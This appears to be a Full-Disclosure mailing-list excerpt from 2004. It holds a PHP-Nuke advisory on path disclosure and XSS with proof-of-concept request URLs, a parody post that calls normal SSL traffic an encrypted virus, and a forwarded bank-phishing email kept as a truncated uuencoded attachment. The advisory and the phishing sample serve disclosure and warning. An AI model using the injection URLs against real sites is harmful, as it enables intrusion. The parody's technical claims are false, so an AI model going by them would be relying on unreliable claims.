A. Generates a proper ACCESS DENIED page, no PATH DISCLOSURE.  
-------------------------------------------------------------
RESULT:

"You are trying to access a restricted area.

We are Sorry, but this section of our site is for Registered Users Only.
You can register for free by clicking here, then you can
access this section without restrictions. Thanks."

B. No CSS exploit.  Same result as above.  Below example was sanitized
prior to GET:
------------------------------------------------------------------------
------------
RESULT:

modules.php?name=Reviews&rop=postcomment&id='%3Ch1%3EDarkBicho%3C/h1&tit
le=a
modules.php?name=Reviews&rop=postcomment&id='&title=%3Ch1%3EDarkBicho%3C
/h1%3E


So as long as you've addressed the age-old bugs that still haven't been
fixed in the basic PHP-Nuke distro's then you may be vulnerable.
However these methods have long been squashed in patches available, and
do not affect newer, secure distro's such as betaNC or CPG-Nuke.

Again, I added no new patches to test these potentials in the last 30
days.  And they simply are not a factor.

Sincerely,

J.
j e r u v y a t s h a w d o t c a 


-----Original Message Below-----
From: Dark Bicho [mailto:k1ll3rb0y at hotmail.com] 
Sent: Monday, June 07, 2004 3:31 PM
To: full-disclosure at lists.netsys.com; bugtraq at securityfocus.com
Subject: Multiple vulnerabilities PHP-Nuke


original advisory : http://bichosoft.webcindario.com/advisory-05.txt

------------------------------------------------------------------------
-------------------------

                            :.: Multiple vulnerabilities PHP-Nuke :.:

  PROGRAM: PHP-Nuke
  HOMEPAGE: http://phpnuke.org/
  VERSION: 6.x, 7.2, 7.3
  BUG: Multiple vulnerabilities
  DATE:  14/05/2004
  AUTHOR: DarkBicho
          web: http://www.darkbicho.tk
          team: Security Wari Proyects <www.swp-zone.org>
          Email: darkbicho at peru.com

------------------------------------------------------------------------
-------------------------


1.- Affected software description:
    -----------------------------

    Php-Nuke is a popular content management system, written in php by
    Francisco Burzi.

2.- Vulnerabilities:
    ---------------

A. Full path disclosure:

    This vulnerability would allow a remote user to determine the full
    path to the web root directory and other potentially sensitive 
information.

    :.: Examples:

    
http://localhost/nuke1/modules.php?name=Reviews&rop=showcontent&id='Dark
Bicho

    Warning: date(): Windows does not support dates prior to midnight 
(00:00:00),
    January 1, 1970 in c:\appserv\www\nuke1\modules\Reviews\index.php on

line 527

B. Cross-Site Scripting aka XSS:

    :.: id :

    * 
http://localhost/nuke1/modules.php?name=Reviews&rop=postcomment&id='&tit
le=a

    <input type=hidden name=id value='>

    :.: title :

    * 
http://localhost/nuke1/modules.php?name=Reviews&rop=postcomment&id='&tit
le=a

    :.: Examples:

    
http://localhost/nuke1/modules.php?name=Reviews&rop=postcomment&id='<h1>
DarkBicho</h1&title=a
    
http://localhost/nuke1/modules.php?name=Reviews&rop=postcomment&id='&tit
le=<h1>DarkBicho</h1>


3.- SOLUTION:
     ????????
    Vendors were contacted many weeks ago and plan to release a fixed 
version soon.
    Check the PHP-NUKE website for updates and official release details.


4.- Greetings:
    ---------

    greetings to my Peruvian group swp and perunderforce :D
    "EL PISCO ES Y SERA PERUANO"


5.- Contact
    -------

	WEB: http://www.darkbicho.tk
	EMAIL: darkbicho at peru.com

------------------------------------------------------------------------
-------------------------
                                ___________      ____________
                               /   _____/  \    /  \______   \
                               \_____  \\   \/\/   /|     ___/
                              /        \\        / |    |
                             /_______  / \__/\  /  |____|
                             \/       \/

                                Security Wari Projects
                                  (c) 2002 - 2004
		                    Made in Peru

----------------------------------------[   EOF    
]----------------------------------------------

_________________________________________________________________
Consigue aqu? las mejores y mas recientes ofertas de trabajo en Am?rica 
Latina y USA: http://latam.msn.com/empleos/






From mr.bill.bilano at email.server.unix.bill.bilano.biz  Tue Jun  8 16:53:29 2004
From: mr.bill.bilano at email.server.unix.bill.bilano.biz (Billy B. Bilano)
Date: Tue, 8 Jun 2004 10:53:29 -0500
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
Message-ID: <023801c44d70$be782fc0$c700a8c0@wfs.com>

Salutations, amigos!

Bill Bilano here, reporting in from the front-lines! I've got some
disturbing news that I've got to get some answers about while I share. I
think we're about to come under full hacker attack at any second! And to
those people that said us folks talking about crypto viruses were being
chicken littles... let me tell you, the sky just fell! And it is HEAVY!

I was sitting at my desk doing more research on the OPENBSD virus I
discovered last week. I was watching ethereal and monitoring the traffic
coming in and out of the facility and I saw a ton of traffic coming straight
for our web servers! The routers, firewalls, and intrusion detraction
systems were not sounding the red alarms like they should have been (we'll
get to THAT one later).

There appears to be a new virus in town and it's affecting Windows and UNIX
web servers! I have not identified a pattern of infection yet but the virus
is clearly advancing but it only affects web servers!

The virus works on port 443. It seems to accept inbound connections on that
port as well and, presumably, awaits for commands from some series of
servers elsewhere. Perhaps taking orders? I also captured some of the
traffic and attempted to analyze it up but it looks like -- you heard it
here first, folks -- the payload is encrypted! Is this the first of a coming
storm of crypto viruses we've all been eagerly fearing? (I have already sent
a copy of the payload to the distributed.net people so they can try to use
some of those wasting cycles to decipher it like they did the last one!)

I have taken the liberty of naming the virus already. I looked in
etc/services and saw that this port is for and it is something called "ssl"
so I am calling it w32.ssl.b (b for bilano, since I discovered this wretched
thing!)

I called in our webmaster and showed him the data. He is either too stupid
to know what's going on or he takes me for a fool. I got him in the
conference room and showed him the print outs. He tried to convince me it
was not a virus and just normal web traffic but web traffic is on port 80!
No fooling old Bill! LOL! So I told him to gather his stuff up and gave him
his marching orders. I have no time for this kind of bull, what with the
OPENBSD virus last week (still picking up the pieces there). He must have
known I was on to him because he was just laughing on his way out the front
door. He may have even been involved with the infection! Good riddance,
chump!

At any rate, this is your heads up, folks! You heard it here first! Be on
the lookout for this first, very nasty CRYPTO VIRUS!

P.S. I wonder if this virus was from a spam-gang?!

P.P.S. Check out my bloglog in my sig!

--------
Mr. Billy B. Bilano, MSCE, CCNA
<http://www.bilano.biz/>
Expert Sysadmin Since 2003!
'C:\WINDOWS, C:\WINDOWS\GO, C:\PC\CRAWL'  -- RMS




From dchontzo at abc.gr  Tue Jun  8 17:20:28 2004
From: dchontzo at abc.gr (Chontzopoulos Dimitris)
Date: Tue, 8 Jun 2004 19:20:28 +0300
Subject: [Full-Disclosure] Yet another Bank-e-mail-you-name-it scam...
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAABIzwuK9Z1RGJWgABAh70LiKDAAAQAAAA4snT6JrXiUeQY4n99QwC/gEAAAAA@abc.gr>

FYI,


Cheers to all


begin 666 ATT00577.eml
M1G)O;3H@(D-I=&EB86YK(B \=7-E<G,M<W5P<&]R=# R0&-I=&EB86YK+F-O
M;3X-"E1O.B \9&-H;VYT>F] 86)C+F=R/@T*4W5B:F5C=#H at 0VET:6)A;FL@
M:6YF;W)M<R!Y;W4 at 6U=E9"P@,#D at 2G5N(#(P,#0@,#@Z-30Z,#$@*S Q,#!=
M#0I$871E.B!7960L(#D at 2G5N(#(P,#0@,3 Z-34Z,#$@*S S,# -"DUE<W-A
M9V4M240Z(#PR,# T,#8P.#$U-3<N:34X1G9&2%HP,C at R-C) ;6%I;"YA8F,N
M9W(^#0I8+4UA:6QE<CH at 36EC<F]S;V9T($]U=&QO;VLL($)U:6QD(#$P+C N
M-C8R- at T*6"U-:6UE3TQ%.B!0<F]D=6-E9"!">2!-:6-R;W-O9G0 at 36EM94],
M12!6-BXP,"XR.# P+C$T,#D-"E at M06-C97!T+4QA;F=U86=E.B!E;BUU<RP@
M96X-"E at M36]Z:6QL82U3=&%T=7,Z(# P,#$-"E at M36]Z:6QL82U3=&%T=7,R
M.B P,# P,# P, T*6"U)9&5N=&ET>2U+97DZ(&ED,0T*6"U-;WII;&QA+41R
M869T+4EN9F\Z(&EN=&5R;F%L+V1R869T.R!V8V%R9#TP.R!R96-E:7!T/3 [
M('5U96YC;V1E/3 -"@T*(#QH='1P<SHO+W=E8BYD82UU<RYC:71I8F%N:RYC
M;VTO<VEG;FEN+W-C<FEP=',O26]G:6XR+W5S97)?<V5T=7 N:G-P/@T*#0I3
M=7!E<B!";W=L($-O;6UE<F-I86QS('-K871E8F]A<F0 at 22=L;"!G:79E('EO
M=2 N+B!I;B Q.3 W($D at 86T-"@T*#0H-"F)E9VEN(#8V-B!!5%0P,#4W-"YH
M=&T-"DTO)D%4.S907B,P2%PS-#4T,#(A*#4E,3 K-#4Q-31%-B\R*2,[5EE4
M.3995"LU,5D\)C1"*"0M+S-%,24-"DTS13!=*$<Q13XG,$\Z)S%-.R-,0#A6
M04$\1RU%/2-523Q67$TN(T!5+C)45RA#6"TB0U%0+T-11CM6650-"DTH)CE!
M.%8T72A$)5(Z-B5,*$-87# R(2 at T1#4F+S(I2#TG,5 \4TA/*U<]13A"640X
M,E55/%)90SHW,4D-"DTX1B5..E)90SM65$\\5D5'.T9%3BM7+4,\1D50/2<L
M3S(V74<Z-EA2*U<U4SDW*3\\5C54/3<@3CI'+5 -"DTH0UA<.S8E4"@F64$[
M-C1=*$0Y,#,V)5 L(BA>+R8E4CDV)$ X5EU//$8Q4R\R*% K(B!0*R(@5BPS
M($P-"DTH(RA7+3(H0#Q604$\)C1=*$<I13A7,$(H)D%2.38X72A&050])R!:
M*U)<12Q3*$4L4R1%+%,L12Q$-$4-"DTL4R1%+%,L12Q3*$4L1#1%+%,D12Q3
M)$4L4R1%+$0T12Q3+$4L4SA:*3,L5"DS+%DI,RQ0*3,L4RM2-%8-"DTL4C16
M+C(T5RTB7$4M0T1%+40T12U#,$4M0S1%+5- 12Q$-$4M0T!%+5,P12U$,$(O
M0U!/.S8E4"]#44D-"DT[-CQ -%4I(R\R*5 X-RE4+#)84"XS(%<L(R!0+")8
M4"Q3(%DL(R!0+#0A53Q6-5(K-RU5/"<A3SQ',5,-"DTL0R$@.%9%5#HV*4$[
M1DQ..%9=32A"(4([5RE$.3<H72A#($(H)S53.39503PC5$(H5#DP,S8E4"PB
M*%X-"DTO(ETA+T-03S at S6%PK5CE/.T<P7B\B75 O0U%0+T-11CM6650H)BU/
M.R9=4B\R*$,Q1#DF,40X5RA#63,-"DT]-R%%/$(A(CM7/4PH)"U/.S9513Q&
M+4DX-E%3*"<M2S at W,44X1EU!/$8P0#(R/4P[(B%'.C<Y12 at G14\-"D8],B!.
M*T(A23M"(%$N,R!7*"1$0#@V5$ O(EU&.U995"]#4$\\(UA<*U9!5#LV4%XC
M,$A@#0I@#0IE;F0-"@T*8F5G:6X at -C8V(&%X:6]M871I8RY'248-"DTQ5$4F
M+B-%03HP*#A@/S E8& D(F!@8&! +", at 4"PC/% J.RI<(&!@,"X at 0# @8$! 
M)"$@0"0A0$ F(4 -"DU +B% 0"@B($ N(B! *"(@4"HB0% N(D!0*B, at 4"]?
M6UPO7&!@8&!@7U]?7U]08&!@8&!@8&!@8&!@8& -"DU at 8&!@8&!@8&!@8&!@
M8&!@8&!@8&!@8&!@(B=9(2 P8&!@8& K(&!@8& A0F!!+"%@8#=?."(V+CDF
M1CX-"DU(4#!5,E9.5#LR+D$])E<_/BI;3S\N7U]0*B%0,B)0.D-<0D0\3$5,
M)T(T*U!6,2I+-%D^)"H]5E)>55H-"DU/7B)0/B103D9633!*54E-4BE;/UPK
M05PS2E\[6U<B-3TB5SU+43Q3/B at J(T$H-B9!6$(I+E9%-B% 5# -"DU ,BA*
M-#A53D))/CA&.4H[1RE42$,E,"M%0BPD1#$H+3]%+C8D0# O)# N/DP[*E--
M*S96+THA-TA9*"\-"DTA4#!%3C$M3F! 0"DB($I74CQ+*U,L55=.."!&(U! 
M)2$[7$8C-3DY(2!(*5<[(RY8/BM#62XT7S0C(S$-"DU0+3,U55(X,%HP5#5@
M0$0Q(U!&,5E/2UM?+U96)$!@(T=!0R!304HM0"!@2S(G0D P*"1@/U$@0S))
M4R at -"DTR-"LA05A/4C0]4RA,.B\G*"$H)B(F(DA0)"9))$ L*%]04#@D(D!$
M8#8K-2)#43!:.EDB4DDT/SQ>2SP-"DU2,2PE35 L43A165 D($5(+38P-2(@
M,3TV0E<B0B at I+CY42CTR238_(2 ]+$52*& U72(A(B E)DQ1.B at -"DTZ0R5&
M52I)2%1:2D4I-"8A-BI64%!'22U>2SI)*2I!2UQ>2SU"7D,A5$ L12<R0"A"
M5B$F-51$+B1(/2T-"DU$+4-$-SLM7"A43CX_)CD at 5B I)#1045 V54(D5R<T
M43I36E8R6T946CTM*U\L.CPB7E A44!*)S(Y,4T-"DTY5BM6-BTR6#Q>3T8T
M.R-30SQ>4B)8239")SY77#XO*%!36R at D,TXE7"U+)40T3C\W0TM(/"$S($<X
M/B8-"DTC249:75Y=64$X*EM4-U)4,#TB1% Z33]372U:0TY31D%=3%Y26UI>
M7SA%05H]/$@S5U!;7DU/5R$R0T -"DTO0$<D02!<+EPO-2=67UU?7D!72%@H
M+RDX+38](C J+%%974U+5D8W)T at P/#U!0BM@)$Q=1"Q=(B$R0# -"DTR*"M3
M0SPB,D! (5I:+BHK1552534@*DY6)2XP0CLB35U!7"(A*S(B0"4L25!"0T1$
M*#,X-4T\(3P^13 at -"DU 14TA8#XT*T)05#(J/C8T.5LQ-350)"<X+#$_-$D\
M/3DU6C0U*#A)64$_,T(J-B N4$8J2"5),%)4)%D-"DU924U0/D(F(6!@6#@T
M6%$I7C$@,% Y6S=3.BQ at 8$! 6"U(*& ^5#I -#E2*"E*2TA(2%!66DY"0T0D
M.$H-"DU:.C(T-49+24DY049>1#A at 1R<[2EHZ/D!!0DM*2BHR-CI.2DE**CI*
M6DI*3$U.2TI*6R,F*DY.3$TM.4H-"DU:6E9864I+2TM+4D9*3D9/4" X2ULK
M(R0E1D],3#Q 1DI>4E)3(SM+6RLO,#%"3TU-+3$V.EY77TT]048-"DU*7E96
M5R<[2UL[/T!!0D].3BXR-CI>6EE:*CI+6TM+3$U.3TY.7R,F*EY>7%TM.4M;
M6U=864I/3T]/4U8-"DU:7EY?8& \7"HP8"0E4%(@)5 ]-T0O(#8A+4Y07"!<
M)B]?4U B(2PK0R9')24S+C$L,%P[2%LB45$D)2P-"DU')R<G)45<6BQ!/$19
M62%2(C%>,TPC*"TI6RT\7$L at 331=4%!24#4S2R\C*"U23$Q 3$!=7EE34U-4
M+T,-"DU/*R,A,4(]7#PM)2154%%35%1/+TLJ1S,Q6TU,73Q8/EI>4U-50UU+
M0S<W-S at I33 ]/4!25EY3558F-%\-"DTG/SLK-$,M.DQ<040[7E=4539"(R,W
M*SP\,DX]33T]4DE<5U<B-D)35SLZ0CM?3STM+5HH6EE45U8W-U\-"DU+.T,X
M-5U-32XM/5L\4E=86"A"7B<_)S$M4UQ>/CU=,"-75%=?7C8N*%1;65<Y34-;
M+R,Y1B5-.BXN(44-"DU36E556%=3,S-+2T=$.5U./DY:4$M=55I),R<_3T-#
M23]43%Y?+D,A)E!=65L\+5]?2T--3U,^2CY.,54-"DT]6EA66BQ 4SM72T!%
M/D]./E\^-DQ16EU)*D0C)T\S+B,^+4Y=+E-+.EA>7EXZ+E<G4U\S7" _+3X]
M,R4-"DU#6E]?)ED_3UM;7#9?/TX_8& ]*% @*#I<*" H,RH@(B5<0R A0TM0
M0#$B+$@@,$<R+"0J-D\B(B8L4D -"DTA0S\H4#!96EPH+$ C*B0H,51#(B1)
M2U!!(D$L2#!)-U(L*#8O0R(@1UPM(5I,6D=,05<@1"=!*DXJ)RH-"DTT2CLC
M5"\G3CY4*3 at V,%U-6BA005I.(5(Q15 ^8"DM*"%/4#U<.#Q=)B(H,S58/BE.
M/S0P.T1*)#A!,4\-"DTL)#1*5T I6C(Q($(D3BI'+#]<32),*BDM/% _45 at K
M*$PD43 at D,$,I,E%0,5$M0R8Y*"%10R53)$A12U4-"DU.(TQ<2"$E2CA!+SU>
M55$F4%)3.B,F+U8F5C,W0D Z5#%$*"\Z.# D-C])1%5,0U8^.E%'1"-21%=.
M02<-"DU/4U<Z*S8]-5I6,$9%6#LI4CDG,D0Z-%LW+3DD,C0N1D<[*"9+2C [
M541!63(D24(D23,M5%U82U52/%$-"DTQ3BE21#X_6SDR,%<F/%$B8$,J,D9$
M,3\H3%PV4E5-5BPV5U-25BA)0#!"7EPH1T\Z63@[-E\X."E</4L-"DT\2EE4
M5ELR1B1!72DR)E]66T=*(4I16SU-($<E.C=(+T)8730I4S\W,4192BI.5CM5
M7#!&75 at S1TU73EH-"DU365="428]($1>/2Y66#4S1TTG5"=#.R52-#Q2,D4N
M-CE.,$=>7%LI5"X],24G,RY"45142CE%*E=*1U\-"DT[65LJ4%%,+U,P1S%"
M,DM/0S$I13E33%4V32HP444F-TX\+D(P13<Z4SDA0E4J.UL_)CTF.#]+(RXG
M2BX-"DU'.$HS*C%&/SHT7$]:0S)"+$LW22]43RHP7DPY7$= .SDV02<T6$4R
M1R-854I%*259)%XU6DM9.C]"7DD-"DTU)C9),C<F*%1(,T8L6CPF.SY%+4(\
M/RA,7CI22EM".T=.)E8J0T=533<V2C$R03\L05Q:3EQ7(2Q&1B(-"DU)(D$B
M53%#.$-?1%(X0B at M.B]5)"H].5Y+02Y1+#(Q23))5BI.2#1:-4DV,E4F,$=>
M.D<W4TI9-$PB(34-"DU9158A1BTN.#!)-5HS13=,-BQ%2C9-)#8\23(M(SHW
M+EM&/2]/7RE1/E=315I/-5 B74E9244V34\Y+CT-"DU4+RM)4CTO1CU*5#<G
M,CU16%Y+.T-16C4^-SPL.E<I(S)=0C8N1S))7UU03#I6+S="13I5)$$R6#4H
M,$<-"DU=/"LG-RY+1BPH.5(_-E at _4#Y+/#PF*S1)5U94*D5--2Y5/2--2SY5
M."Y51CU;5TM67DI.+4LM3RTZ65P-"DU+6D\]2T4[-$LP-UX[7RTJ-EU;*U)%
M/4U81C8].R4O2E0]3BXM.U0G+39),2U:43Y&1UM-3EHS33LX05D-"DTJ5398
M)$L_(BA=.4=;/D$J."Y.4D5;(U)'*D8A*3E-.B)&+3<]53-3*51!2S<M(#M/
M6SI5*3DX44%652P-"DU-*%@R+3=".3$J.2(E.T4[2U))65%=6E574EPM-EQ0
M-BY:6RI,)5%&*"Y&2C))0$5&.SI!2R,K7BI-33,-"DU5)%I225PX-#9"3S<[
M+3A-7%TJ7$<C,E,Q+B<W+54X6B0V14!!3DXY63$_,RTB/CE2.U5,3",I*R<F
M/#<-"DTU2C5?,2\U(4A 5E$Z)"Q38%TE04XO74XD,51-13,P5TXP35])2S)&
M+5Q723-/7$]//R<M)UHQ42XL/2$-"DTV(TI:/"510B at Q2%U:0DM>/#TU13 at G
M-3XJ,4<Y-D->,54D+4A=*C15/RQ823)-2"A.0UDD2E1/74$V(S<-"DT\/3U,
M*R);7TLO.TM*5E at Q55Q%)E8A2EU:+DXH)$=,/U!<6%4F*% M,"592S9=14=@
M(R-#0R!&5RPE/%(-"DU*+D%5639#/S)%3$!;63<I4%<Q4C$P)%HU)"525$Q?
M6CTF.EM ,D5/+34_4E(W,E9**5(Y7S8L6UU;1RT-"DU*+E!21S G3CM4(B8F
M.4-702I?(CTT2TXO,%]:6$%!5T8K6$$[1$15*U%&+3]=6TP^)2PL.$@F1EQ<
M)U at -"DU-.EE=05!10C1&/5A1)E0^358Q42U'*$$K6S%:7E!54BU#1$I<(BHK
M+2PX64-;1RU,.$E31%!(5%=<-BL-"DU<+#]?/SU;2U \63A.,RA'/CA2)R)>
M-U5$0S)?+CX^3C)27UI4/5Q>5BQ)4S=.63<V,TE&)#9/74XN7BT-"DTK-3HQ
M)E<[+D-%4D at Y/CM/5CY-/#1:45-'.CTY/3<]7SI<659 at .C\]5D1)-UM=1RLG
M3C-<+$DW1U)7+4\-"DT^-$Y;7"E!55,L+"=!2TI(23-/6#$].31<(E1?2CU+
M65='-3,[1UM.(T!47%U**2I>*S<O/5XU6U-?3S,-"DTH/E]43E\O.5,W735.
M."L]0TY;*S!?3B\]6SA-4#-%3U<G0%Y+6E=87T])1U9:65I514]>7B!:-D9>
M6"\-"DTC3$=;+3=>.%I>6UI<3U8^/EQ 3EXW0E8[/R(]-C%-0$(S7E<\-"I7
M*4U1-T)>*2%?2S,F2T1>2#E91%T-"DU65R=+-EXS*#%;6# ^5%M&(EM-7$E>
M04=?6"HG.U=#4$-55C8D63E<4TDU7%]74D<]4D='.R)!-CM'3#0-"DT^34Q5
M/E4S5T @-"@Z3TU'/24L13H]3R<^6T!&/D-4-S=8)3<_7S15.#I=,S!02S at _
M,RY7/B]*)SY&*U4-"DT^*DE7/SA 1SXY22<^7E57-R at I1C@A35 at T7B\G-3<[
M)S=?6"<Y74TU/E$H-D!:.$= -#-6/5<M1D R3T at -"DU /S=%/4 F-D$N2S= 
M7C,E-E at X5S\A4C4^0#Y5-34[)#A%2"0\3U\T/$4T-3TN-$= (CQ60#,Y5T!6
M+#@-"DU!0TU7/D9:-3TD(%<\7#!7/2,T5ST_,"=!2R)#/B8Y4SY7-S at R6S8U
M,5)3)T%$,U8\2R5',DXQ)CI:)%4-"DTY.S8F.5Y<-D$U2T4Y0U)3.U\Z13DX
M)C9!*R!7+UPD)SPO7U8\5$=50B!35SE&0S@[4%%(/"),)CI%,S8-"DT[450G
M.U\V5T!>.D5!2$180"@_0S\L2#<\/UPW3B<B.#TW(5$]53M74497)T%#*$9@
M4B96+B9/-$PX3D$-"DU=0CLM44%:7EXF5R at X-D5!+2A32D0V1U<X.%(^54A3
M+EXH4S F*%8I0"A2*D at D+$I>)E P*%A61BU&5E\-"DU.(#,T1B9+.38D5%(E
M(RLZ/B0[/"(F52Y<*%=!2B9#*%E&5E=51"4B)3108#(F-C4N)R95)B9!.E$X
M0U$-"DU51R(Y/BA"43Q50BQ.)$Q"*5DA0D%%/EM5*%]<7BA&4"U51DE>)"4J
M25=;-S(G*%0I1TT@/4 at U7$(G12,-"DT]5RDL45,M528G1TQ-.#HA628M3UU8
M.DA9.2%2*5= *2XE5D)16"58+3A 1%(E/31<5T<\15=).U%8,CX-"DTM62M 
M43= 4TXD)R8Q62T^54=&2%U5*2$Z)SA;)CDO5RE6(4!16"I#(3A(3RHS6$LZ
M."TN.BDK(C%762H-"DTA23(@33<G7UM1.B$Q(41:2U$U*UTN,BA6-CX@,E$^
M*S1002]45CU#,U1%*T9(-5Y:14!22UM!020X1B,-"DU45S4U/$TU7R%?0BXD
M)$(R-E)&(TX_,4HR3T(G7U0^-4HR-%L[-D11.UY&,3,V.C4W4T%9,%Q&-SLP
M03T-"DU%.RXC6#T^)$E"-5$N/D(T(S1!/RH@/B\F-T8G3ETU0R1$1C,F+CD_
M-3,^,RXG.4-&248T)TE!*"<E1CH-"DU9-3(Z5EXR)SE002)".D(I*28N*$<H
M045>5T$L14 Q7T ^-5XO4$8J6D$Z,#A&139.)44]1T! 64$S.5$-"DU"03(O
M(SU&+20E,CA9,B(]6"5"+CQ4(CU86"(]6R9"/3P\(BQ$/B8]/2 B/E<C1CY9
M)48^64=&/EHI1CX-"DU:2T8^6RU&/EM/1CY<(48_7$-&/UTE1C]=1T8_7BE&
M/UY+1C]?+48_7T]&/V A2D!?4"A:2" Q.D at L72(-"DU at -5H@2"(J0$@C7R!(
M(TM 2"5<8$@P3%I at 02LZ2"8I,$@Q+TI at 44%*8$%.*F!15RI at 4$-:2#,P0$A 
M32H-"DU@,CDZ8$(R2B(R1"HG03=*2")-6F!04UI(05,Z8%,J6B$B53HA(S8J
M2%8N,$A33C!(0B<Z(2,F*DA'/R -"DU(5#%22%$R2DA11"HA(S4J220]0$DD
M+R!))$I:2%5)($A 2"I),S1 at 2#0D6DDI*#)(0CTZ8#(Y6DA%7UH-"DU(55XJ
M2$8N.DDD13I),C- 2$$S.DDQ+3I)0D!024);2DE#+5I)(C<J24%3*DE%-"I)
M5#Q*25<V2DE&6BH-"DU),C\@25<K*DDW1"I*)U4J259/6DA56TI)-T(Z24A2
M2DE(/CI)2%0J24=.*DE6-#I)1"I:2BA%6DE82TH-"DU)5SHZ2CE(.DI*)BI*
M.2M*2C,Y($I)3#I*.2$J2B]<0T9*02%22C\H5#I"0B9*+3DN2DU/,DH^,$9*
M)E4-"DTJ2DU34DI"*"I*2BY"2D\A(DI)2#Y*.4M>2DY9*DI.62Y*4EL^2E!%
M0DI11C9*44=&2C\B6DI20R9*5B at -"DTR2E<S1DI7,#9*5S=&2E<R6DI-1E)*
M4SU&2E- (DHO1#I*4T4V2DXY3DI+3"9*3R$Z2EM16DHG/$Y*0R4-"DTZ2D(F
M+DI26B)*2UPF2EHA7DI?2B)*4UY22ELR6DHS6DI*1RM.2DA@*ELC.#I*3U4Z
M2R,]4DLC/R)+(",-"DTN6EM!3DI0,4I;(EU.2E](3DLD*$I:7#4N6CPP.EHU
M24@[)"%26R4W-DI8/RI;)UE>2D\@7DI"5UI*5%$-"DTR6E-56DLH4%9;(UXZ
M2RQ,(ELH549:6%(^6R=3+DI9(EI;(%LN6S,_0DI?35)++EU&2R$C0ELP/5):
M7$L-"DU"6RTP0ELH)S);*U\Z)B92)%-.34==2E-"1DI//S=*23193D\X*TY0
M2%!*2RM33E%;5$I+(3-.3S9=3E0-"DTR.4Y123U*3# T3E4V*$Y*(4E.5E0S
M2D at L04Y5/2=.4#$D3E0]04Y&-SY*0S]22E at P*TY7,T9*5S1;3#L-"DT]/DY2
M)"=.4C<]3DDL4DY4,T5.24\G2E8D24I8+SQ.5S8Z3DU#54Y4(S=.5C0U3ED_
M*$Y5/%I.5$@D3E,-"DTU+$Y9059.45\^2E='*DY3259*5#,B3E%"44Y25$TF
M6$M.3E%$)TY-*#U.4DY03EPD/DY71D=.4DLJ3E(-"DT[3DY12SE.53Q43EI2
M64Y32E%.6DDN3E-/7TY62#].4DTV3EU4/4Y14T=.6D8D3E%"6DP[3D).3D<[
M3E0-"DU21$Y=6U=*3DQ82D%-)TI=(U5.4T\A2D=2*4Y<.B-.7%-23EU!7$Y4
M5CE.15(R2E<C0DY/7U at A6T]9,2L-"DU+*E=+3U)$*T]11DM+.BH[3UY%2R<N
M63I*+SM:2CA)2T\K.3M)6%A*2BHU.DU),UI)04]<2B!$.T]15RP-"DU*1R4[
M3TI$2THG.3I.54-:258P2DXS75M0,DX\4$ Q2TXQ1TQ0/SI;33=+6DU8-BI*
M.40[4$(Z+$PR+SH-"DU04RPL3%9 *DI0-DM01CA;*"4Y2RHT12PA)$]<2"]1
M($DP/"PH5%<\*B-9/"%%+2Q-13Y,(B4C/$I.24$-"DU.)5M<438@/%%&*%Q1
M1C$\448Y7%%&0CQ11DI<4493/%%&6UQ11R \45<H7%%7,3Q15D%,2"="/%%7
M2EP-"DU15U,\45=;7%%8(#Q2*"A<4B at Q/%(H.5Q2*$(\4BA*7%(H4SQ2*%M<
M4BD@/%(Y*%Q2.3$\4CDZ3#HQ*D at -"DU'-#U0.DD])"4Y2EPP0BPH.TU624%8
M($E202=14C at X1CM/7T at F*5I$3R9.2#, at 0D]7)"I*0RA&-S4D2RX-"DU%)C5%
M05DT."%9(%Y./$]2*BA<(R%5+#4U6%PJ/5DC4DE).#<]65,E(R9?3%HX-$1)
M1U E4B11+%5915L-"DTZ*4DE)5DP1CE%15HN.#A /C<N)UE45D at Q25M;/3E$
M548W,%)*.44P*CE!)E5#5SHA55I6.5 at I4BU5,$D-"DTU3%M.*C<B1E8G0BM>
M.3Y=,C=$2#XX,T at I*#E=.5E*-25<7E4O+%])7RE:6$545S8U63=.159$.BXI
M04L-"DU2-C5,.5A(,58\631>/%LT45DU43$U14)16"M+1CTB2%5()DT_+2 F
M1SQ5*#E'2B(N*# C.BE%,38U-$\-"DU*+%Y1/R0D0%<Y*$(O.$]40RQ8,CLY
M-41**5-+/RTD(B,\7E,I7%Q8/SA(/ULW2S8[+2=#12TO/4,C4BH-"DTN-S1<
M1S at X/UU(/"PI3%=?3"U%1R<N.S1;/T4R3T1&*$A60CLR.B\P45Y3-4,Q0B5*
M*D(H)RI".T4L0RP-"DTW244L)#<\6S9..S%$05,S6EQ#*D574CU50SHM/5(C
M-T4Z4BQ+3CDG/3]7-T A5SA 0U<X0257.$%'5S at -"DU"*5<X0DM7.$,M5SA#
M3U<X1"%7.41#5SE%)5<Y14=7.48I5SE&2U<Y1RU7.4=#5$9 *"A at -T!@2#)1
M(SH-"DTM1",Z*3 at C.D=45"A)350E2D=4)$M45"-*0E<Z3"0G.TI25"A)(5<[
M,SHC.S$L(SM>5B<[35Q7.DA,5SL-"DU.-5<\*2$C.DU%5SQ065<\4E=7/$LU
M5SM.2%<\*$(C/4H]5SI235<\5%A7/54D5SU-.5<]5TY7.U [5",-"DU11E0B
M2457/DTH5SI:*E<\5S!7/5I95SY71%<^65%7/UPO5SU<35<^4E57/UU/5SY:
M.%<]6#Y4(U];+"T-"DU7+TD]5UY:/5=0,%Y8("T^5S D7E=<6CU8(#<N5R!1
M3E@@(SY74TM05U!(+E@]3$U8(4(^5S$]7F!!(DX-"DU8)%XQ6#!77E at P7"Y8
M02LN)EQ /5<R(BY80B\N6"!-/E at _0$U80E<^6# P/EA#,3Y802PN6"LD35A3
M2BX-"DU8/4DM6$,G7EA 1EY87E)=5T(E3E<^+4U87%(A6%1++EA-4$U9*E\]
M62$F3E at P6"Y74#U>62XO75DL7ST-"DU7/E at M5T1 7B4U4BY at 55\^63-,45DT
M(#!91BI.)%U1/5E%)5Y91E,^64983E at P4#!95$<@8",Q(%E35# -"DU95T%.
M65(V,%E2+R!94BM 65=-/EE7*SY94CI 659?3F!724Y:)%I 6B$W(%HH)UY:
M*#$N6B at Y+EE9+EX-"DU96%L^6BDE+F!)/5Y:(TY 6BE.+B$H4UY:-SM.65E,
M7EHI*DY:/UXV/T J/B-.1CQ?0"Y%.TY*-$=.0CD-"DTS3D8X7TX^5$-.1B-#
M3CU5-TY-7U-.3B5;3DY75TY.1U].3DI73D)95TX^1CM.4E(O3DLF/TXZ-RM.
M3RT-"DTW3D\P)TY7+#-.5S4K3DI>*TY3)3=.1C4O3E),0TY*7#=.5S(G3D90
M*TY85E].4T0O3D\@1TY;(B-.5S at -"DTG3DA(."Y;(2=.6SHC3ELD6TY;)"].
